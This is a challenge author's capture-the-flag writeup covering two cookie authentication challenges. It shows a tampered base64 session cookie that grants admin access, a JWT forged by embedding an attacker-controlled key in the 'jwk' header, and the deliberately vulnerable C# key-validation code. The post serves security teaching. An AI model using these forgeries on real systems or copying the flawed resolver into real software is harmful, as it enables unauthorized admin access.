TG:Hack at The Gathering 2025 (Challenge writeup)
This Easter, I had the pleasure of creating two challenges for TG:Hack, the Capture The Flag (CTF) competition held at The Gathering, Norway’s largest computer festival. I’ve attended The Gathering for many years, both as a participant and a volunteer, and it holds a special place in my heart.
I already posted brief writeups on the CTF website, but in this post, I’ll go deeper into both challenges, the design process, and the real-world relevance of the vulnerabilities involved.
Photo by Ole Christian Klamas available at bildebank.gathering.org under Creative Commons (BY-ND) license.
Challenge 1: cookieauth
Both challenges explore weak authentication mechanisms via cookies. The first one is relatively easy (intended as a warm-up) and most teams solved it quickly.
Upon opening the challenge, you’re greeted with a login screen:
The site conveniently provides a demo user, and after signing in, we receive this cookie:
SigninSession:
NjI0Nzg1OWUtZmZiNS00YThlLTk4MTAtMWMxNjljYTExNDQwLjAuMTc0NzY4NDU0Njk1MQ%3D%3D
Decoding it from base64 gives us:
6247859e-ffb5-4a8e-9810-1c169ca11440.0.1747684546951
It consists of three parts:
- A UUID (user ID)
- A boolean (
0
for non-admin,1
for admin) - A 64-bit Unix timestamp (milliseconds since epoch)
This brilliant session ID was generated with the following code:
1private static string CreateSessionIdentifier(Guid id, bool isAdmin)
2{
3 var identifier = id.ToString() + '.';
4 identifier += isAdmin ? "1." : "0.";
5 identifier += DateTimeOffset.UtcNow.ToUnixTimeMilliseconds();
6
7 return Base64Encode(identifier);
8}
The backend simply decodes this session on each request and uses it to determine the user’s identity, role, and session freshness (session expires after 10 minutes).
Once logged in, the interface changes slightly:
The user page hints that there are no flags there—just cookies. (As if the challenge name didn’t already give it away.)
If we attempt to access the admin page, we receive a 401 Unauthorized
. Clearly, the flag is behind that route. By flipping the isAdmin
bit from 0
to 1
in the cookie and re-encoding it, we gain access:
SigninSession:
NjI0Nzg1OWUtZmZiNS00YThlLTk4MTAtMWMxNjljYTExNDQwLjEuMTc0NzY4NDU0Njk1MQ==
Boom:
Outcome
By the end of the CTF, this challenge had been solved by 26 out of 56 teams (~46%). That’s right in the sweet spot for an easy, warm-up challenge designed to help newer players build confidence.
The vulnerability itself—tamperable session identifiers—is very real. It ties directly into the OWASP Top 10, which lists Broken Access Control as the number one most critical web application security risk, and Identification and Authentication Failures at number seven.
The lesson here is simple but important: never trust client-controlled session data, and never encode user roles or other sensitive logic directly into a value the user can read—or worse, change.
As the OWASP Session Management Cheat Sheet puts it:
The session ID content (or value) must be meaningless to prevent information disclosure attacks…
The meaning and business or application logic associated with the session ID must be stored on the server side…
Challenge 2: cookieauth-jwt
This challenge built directly on the first. It used the same site, Cookieland, but with updated session logic based on JSON Web Tokens (JWTs). This one turned out to be significantly harder. Only 4 teams solved it, none within the first 22 hours. I will not explain how JWTs work (read the RFC!), so let’s go straight to the solution.
Once again, we’re presented with a SigninSession
cookie, but this time it’s a JWT:
1{
2 "alg": "RS256",
3 "kid": "sig-1744558208",
4 "typ": "JWT"
5}.
6{
7 "sub": "6247859e-ffb5-4a8e-9810-1c169ca11440",
8 "isAdmin": "False",
9 "jti": "767b5423-b8fb-4536-a6be-5f0c4d854bc5",
10 "nbf": 1744716343,
11 "exp": 1744716943,
12 "iat": 1744716343,
13 "iss": "CookielandV2",
14 "aud": "CookielandV2"
15}.[signature]
We again see a UUID and a flag indicating admin status, together with standard claims like exp
, iat
, and sub
. But now the session data is signed using RS256.
JWT Signing
The server verifies token integrity using its own public key. Any tampering would break the signature.
So how can we change the isAdmin
claim? We can’t brute-force the private key, but we can trick the server into accepting a public key we control.
According to RFC 7515, JWTs can include a jwk
(JSON Web Key) header. This allows the sender to specify the public key used to sign the token—exactly the attack vector we need.
In this challenge, the server’s validation logic incorrectly prioritizes a jwk
header (if present) over the expected server-side key. That means we can:
- Generate a valid RSA key pair
- Sign a token ourselves (with
isAdmin: True
) - Embed our public key as a
jwk
in the JWT header
You can generate a key + JWK in one go at mkjwk.org.
We just need to ensure the kid
matches what the server expects:
1"kid": "sig-1744558208"
Here’s what the final header + payload looks like:
1{
2 "alg": "RS256",
3 "kid": "sig-1744558208",
4 "typ": "JWT",
5 "jwk": {
6 "kty": "RSA",
7 "e": "AQAB",
8 "use": "sig",
9 "kid": "sig-1744558208",
10 "alg": "RS256",
11 "n": "g6zsP...truncated"
12 }
13}.
14{
15 "sub": "6247859e-ffb5-4a8e-9810-1c169ca11440",
16 "isAdmin": "True",
17 "exp": 1744799943,
18 "iat": 1744716343,
19 "iss": "CookielandV2",
20 "aud": "CookielandV2"
21}
Sign with your private key and inject the resulting token into the SigninSession
cookie. Boom:
TG25{S1GN1NG_JWTs_c4n_b3_h4rD}
Server-side validation logic
The server used a custom key resolver that explicitly enabled this vulnerability:
1validationParameters.IssuerSigningKeyResolver = (token, securityToken, keyIdentifier, tvp) =>
2{
3 var tokenHandler = new JwtSecurityTokenHandler();
4 var jwt = tokenHandler.ReadJwtToken(token);
5
6 if (keyIdentifier != KeyId)
7 {
8 throw new SecurityTokenException("Invalid KeyId");
9 }
10
11 var keys = new List<SecurityKey> { rsaSecurityKey };
12
13 var keyFromToken = jwt.Header.FirstOrDefault(c => c.Key == "jwk");
14 if (keyFromToken.Value != null)
15 {
16 var jwkJson = JsonSerializer.Serialize(keyFromToken.Value);
17 var jwk = JsonWebKey.Create(jwkJson);
18 keys.Add(jwk);
19 }
20
21 return keys;
22};
Note: This is not safe behavior. Do not validate tokens against arbitrary keys provided by clients—unless you’re explicitly confirming them via a binding mechanism like cnf
.
Outcome
This second challenge was much tougher—only 4 teams solved it, and the first correct solution came 22 hours after it was released (day 2 of the CTF). Several participants told me they had spent time trying classic JWT attacks like changing the algorithm to none
or switching from RS256
to HS256
, but missed the vulnerability introduced via the jwk
header.
From a learning perspective, I’m really happy with how this one turned out. It highlights an important and realistic class of vulnerabilities: improper handling of dynamic key material in JWT validation.
This pattern isn’t just theoretical—it has real-world relevance. DPoP (Demonstrating Proof of Possession), a relatively new OAuth extension, is gaining traction, particularly in high-value scenarios like health care. DPoP binds access tokens to a client’s public key (cnf
claim). The proof, sent alongside each request, includes this key in the jwk
header. If a server fails to properly verify that the key matches what the token is bound to, it opens the door to the same kind of attack used in this challenge.
By recreating this vulnerability in a controlled environment, I hoped to give participants insight into the kinds of mistakes that can creep into real-world systems, even ones built around well-established standards like JWT.
Final Thoughts
Designing these challenges, especially the JWT one, was incredibly rewarding. Even more fun was watching teams attempt to break them, learning from their approaches, and eventually getting to present the solution live on stage.
CTFs are an essential community space for people of all skill levels to explore, learn, and challenge themselves. The Gathering brings together a beautiful mix of gamers, hackers, creators, and tinkerers. It’s the perfect place to foster curiosity and security awareness.
I’ve already started planning next year’s challenges. Until then:
See you at The Gathering 2026! 🎉